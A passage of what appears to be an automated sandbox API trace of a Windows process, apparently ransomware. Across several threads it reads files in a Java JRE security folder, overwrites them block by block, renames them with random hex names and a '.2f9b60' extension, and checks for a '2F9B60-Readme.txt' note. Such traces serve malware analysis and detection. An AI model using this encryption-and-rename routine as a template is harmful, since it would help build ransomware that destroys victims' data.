(in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0xc01c718 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x7e5c76ed [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0xc01c718 [0210.608] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.608] ReadFile (in: hFile=0x94c, lpBuffer=0x428616b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f63fd40, lpOverlapped=0x0 | out: lpBuffer=0x428616b0*, lpNumberOfBytesRead=0x1f63fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0210.613] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0210.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24920 [0210.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0210.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e90) returned 1 [0210.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4283be10 [0210.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0210.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a99d0) returned 1 [0210.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24920) returned 1 [0210.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0210.620] WriteFile (in: hFile=0x94c, lpBuffer=0x4283be10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f63fd40, lpOverlapped=0x0 | out: lpBuffer=0x4283be10*, lpNumberOfBytesWritten=0x1f63fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0227.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4283be10) returned 1 [0227.375] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.375] ReadFile (in: hFile=0x94c, lpBuffer=0x428616b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f63fd40, lpOverlapped=0x0 | out: lpBuffer=0x428616b0*, lpNumberOfBytesRead=0x1f63fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0228.118] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce619c0 [0228.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c5c0 [0228.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa1a0 [0228.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa1a0) returned 1 [0228.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ff200 [0228.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa1a0 [0228.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0228.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0228.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c5c0) returned 1 [0228.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce619c0) returned 1 [0228.127] WriteFile (in: hFile=0x94c, lpBuffer=0x421ff200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f63fd40, lpOverlapped=0x0 | out: lpBuffer=0x421ff200*, lpNumberOfBytesWritten=0x1f63fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0238.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ff200) returned 1 [0238.926] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x1069a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.926] ReadFile (in: hFile=0x94c, lpBuffer=0x428616b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f63fd40, lpOverlapped=0x0 | out: lpBuffer=0x428616b0*, lpNumberOfBytesRead=0x1f63fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0239.388] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x1069a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a60 [0239.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867b40 [0239.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff720 [0239.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff720) returned 1 [0239.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42410190 [0239.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff720 [0239.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501610 [0239.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501610) returned 1 [0239.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a60) returned 1 [0239.392] WriteFile (in: hFile=0x94c, lpBuffer=0x42410190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f63fd40, lpOverlapped=0x0 | out: lpBuffer=0x42410190*, lpNumberOfBytesWritten=0x1f63fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0239.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42410190) returned 1 [0239.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431100f0 [0239.440] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.440] WriteFile (in: hFile=0x94c, lpBuffer=0x423a8b30*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x1f63fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423a8b30*, lpNumberOfBytesWritten=0x1f63fdf0*=0x140, lpOverlapped=0x0) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586f0 [0242.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c490 [0242.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c490) returned 1 [0242.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0242.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c490 [0242.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c460 [0242.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c460) returned 1 [0242.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0242.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x4313c460 [0242.322] sprintf (in: _Dest=0x4313c460, _Format="%c%c" | out: _Dest="3b") returned 2 [0242.322] sprintf (in: _Dest=0x4313c462, _Format="%c%c" | out: _Dest="f5") returned 2 [0242.322] sprintf (in: _Dest=0x4313c464, _Format="%c%c" | out: _Dest="76") returned 2 [0242.322] sprintf (in: _Dest=0x4313c466, _Format="%c%c" | out: _Dest="19") returned 2 [0242.322] sprintf (in: _Dest=0x4313c468, _Format="%c%c" | out: _Dest="31") returned 2 [0242.322] sprintf (in: _Dest=0x4313c46a, _Format="%c%c" | out: _Dest="25") returned 2 [0242.322] sprintf (in: _Dest=0x4313c46c, _Format="%c%c" | out: _Dest="27") returned 2 [0242.322] sprintf (in: _Dest=0x4313c46e, _Format="%c%c" | out: _Dest="29") returned 2 [0242.322] sprintf (in: _Dest=0x4313c470, _Format="%c%c" | out: _Dest="4b") returned 2 [0242.322] sprintf (in: _Dest=0x4313c472, _Format="%c%c" | out: _Dest="eb") returned 2 [0242.322] sprintf (in: _Dest=0x4313c474, _Format="%c%c" | out: _Dest="55") returned 2 [0242.322] sprintf (in: _Dest=0x4313c476, _Format="%c%c" | out: _Dest="a6") returned 2 [0242.322] sprintf (in: _Dest=0x4313c478, _Format="%c%c" | out: _Dest="4e") returned 2 [0242.322] sprintf (in: _Dest=0x4313c47a, _Format="%c%c" | out: _Dest="53") returned 2 [0242.322] RtlInitAnsiString (in: DestinationString=0x1f63fe68, SourceString="3bf57619312527294beb55a64e53" | out: DestinationString="3bf57619312527294beb55a64e53") [0242.323] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f63fe38, SourceString="3bf57619312527294beb55a64e53", AllocateDestinationString=1 | out: DestinationString="3bf57619312527294beb55a64e53") returned 0x0 [0242.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42058380 [0242.323] wcscat (in: _Dest=0x431a2ba0, _Source="3bf5761" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\3bf5761") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\3bf5761" [0242.323] wcscat (in: _Dest=0x431a2ba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\3bf5761.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\3bf5761.2f9b60" [0242.323] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\3bf5761.2f9b60", NtPathName=0x1f63fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\3bf5761.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431974e0 [0242.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431974e0) returned 1 [0242.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b9620) returned 1 [0242.804] NtQueryInformationFile (in: FileHandle=0x94c, IoStatusBlock=0x1f63fe78, FileInformation=0x1f63fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f63fe78, FileInformation=0x1f63fe88) returned 0x0 [0242.804] NtSetInformationFile (FileHandle=0x94c, IoStatusBlock=0x1f63fe78, FileInformation=0x1f63fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2ba0) returned 1 [0243.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058380) returned 1 [0243.271] FlushFileBuffers (hFile=0x94c) returned 1 [0243.273] CloseHandle (hObject=0x94c) returned 1 [0243.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af070 [0243.443] wcscpy (in: _Dest=0x202af070, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0243.444] wcscat (in: _Dest=0x202af070, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" [0243.444] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\2f9b60-readme.txt")) returned 0x20 [0243.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af070) returned 1 [0243.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061d30) returned 1 Thread: id = 3538 os_tid = 0x201c [0210.171] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.policy")) returned 0x20 [0210.306] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.policy", dwFileAttributes=0x20) returned 1 [0210.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.policy"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e8c [0210.393] GetFileSizeEx (in: hFile=0x2e8c, lpFileSize=0x1d98f9a0 | out: lpFileSize=0x1d98f9a0*=2254) returned 1 [0210.393] SetFilePointerEx (in: hFile=0x2e8c, liDistanceToMove=0x8ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.393] ReadFile (in: hFile=0x2e8c, lpBuffer=0x1d98f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d98f968, lpOverlapped=0x0 | out: lpBuffer=0x1d98f920*, lpNumberOfBytesRead=0x1d98f968*=0x4, lpOverlapped=0x0) returned 1 [0211.571] SetFilePointerEx (in: hFile=0x2e8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0e0 [0211.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da80 [0211.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dbd0 [0211.572] NtQuerySystemTime (in: CurrentTime=0x1d98f860 | out: CurrentTime=0x1d98f860*=132462178164418000) returned 0x0 [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x4e41313e [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x1b038560 [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x5b26624d [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x7c246ba1 [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x77ef9276 [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x77dbecf [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x2822cb48 [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x2465a094 [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x271711be [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x3b37316f [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x7fa59e43 [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x23f195b4 [0211.572] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x7ea184c9 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x3f7e3bf6 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x78e0f1f4 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x4f4cc52e [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x27d37251 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x19cc6227 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x3429b0ae [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x575c5a0c [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x53d97b76 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x18c8db29 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x594e40e1 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x149a25f [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x70dab556 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x18a4a990 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x52c5cd41 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0xfc1733c [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x3aed8ab5 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x506b41e4 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x26fd9896 [0211.573] RtlRandomEx (in: Seed=0x1d98f850 | out: Seed=0x1d98f850) returned 0x7173e469 [0211.583] ReadFile (in: hFile=0x2e8c, lpBuffer=0x41f5f0f0, nNumberOfBytesToRead=0x8ce, lpNumberOfBytesRead=0x1d98f850, lpOverlapped=0x0 | out: lpBuffer=0x41f5f0f0*, lpNumberOfBytesRead=0x1d98f850*=0x8ce, lpOverlapped=0x0) returned 1 [0211.583] SetFilePointerEx (in: hFile=0x2e8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.583] WriteFile (in: hFile=0x2e8c, lpBuffer=0x41f79560*, nNumberOfBytesToWrite=0x8ce, lpNumberOfBytesWritten=0x1d98f854, lpOverlapped=0x0 | out: lpBuffer=0x41f79560*, lpNumberOfBytesWritten=0x1d98f854*=0x8ce, lpOverlapped=0x0) returned 1 [0215.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac11c0 [0215.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1100 [0215.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1100) returned 1 [0215.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f79560) returned 1 [0215.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5f0f0) returned 1 [0215.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba460) returned 1 [0215.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420585b0) returned 1 [0215.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac1100 [0215.517] SetFilePointerEx (in: hFile=0x2e8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.518] WriteFile (in: hFile=0x2e8c, lpBuffer=0x431a8a50*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x1d98f970, lpOverlapped=0x0 | out: lpBuffer=0x431a8a50*, lpNumberOfBytesWritten=0x1d98f970*=0x108, lpOverlapped=0x0) returned 1 [0217.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0217.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625a0) returned 1 [0217.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0217.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0217.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0217.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263200) returned 1 [0217.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d82c0 [0217.940] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="05") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="14") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="0c") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="98") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="96") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="f5") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="69") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="b7") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="69") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="da") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="01") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="78") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="8e") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="55") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="39") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="e4") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="09") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="71") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="65") returned 2 [0217.940] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="ed") returned 2 [0217.941] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="9a") returned 2 [0217.941] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="73") returned 2 [0217.941] RtlInitAnsiString (in: DestinationString=0x1d98f9e8, SourceString="05140c9896f569b769da01788e5539e4097165ed9a73" | out: DestinationString="05140c9896f569b769da01788e5539e4097165ed9a73") [0217.941] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d98f9b8, SourceString="05140c9896f569b769da01788e5539e4097165ed9a73", AllocateDestinationString=1 | out: DestinationString="05140c9896f569b769da01788e5539e4097165ed9a73") returned 0x0 [0217.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x431a05c0 [0217.941] wcscat (in: _Dest=0x431a2340, _Source="05140c9896f" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\05140c9896f") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\05140c9896f" [0217.941] wcscat (in: _Dest=0x431a2340, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\05140c9896f.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\05140c9896f.2f9b60" [0217.941] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\05140c9896f.2f9b60", NtPathName=0x1d98f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\05140c9896f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f2f60 [0223.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2f60) returned 1 [0223.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a5ba0) returned 1 [0223.804] NtQueryInformationFile (in: FileHandle=0x2e8c, IoStatusBlock=0x1d98f9f8, FileInformation=0x1d98fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d98f9f8, FileInformation=0x1d98fa08) returned 0x0 [0223.804] NtSetInformationFile (FileHandle=0x2e8c, IoStatusBlock=0x1d98f9f8, FileInformation=0x1d98fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2340) returned 1 [0224.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a05c0) returned 1 [0224.147] FlushFileBuffers (hFile=0x2e8c) returned 1 [0224.275] CloseHandle (hObject=0x2e8c) returned 1 [0224.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x43107650 [0224.779] wcscpy (in: _Dest=0x43107650, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0224.779] wcscat (in: _Dest=0x43107650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" [0224.779] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\2f9b60-readme.txt")) returned 0x20 [0224.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107650) returned 1 [0224.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b2b0) returned 1 Thread: id = 3539 os_tid = 0x2040 [0210.175] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.security")) returned 0x20 [0210.307] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security", dwFileAttributes=0x20) returned 1 [0210.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.security"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1584 [0210.396] GetFileSizeEx (in: hFile=0x1584, lpFileSize=0x1d22f8c0 | out: lpFileSize=0x1d22f8c0*=17824) returned 1 [0210.396] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x459c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.396] 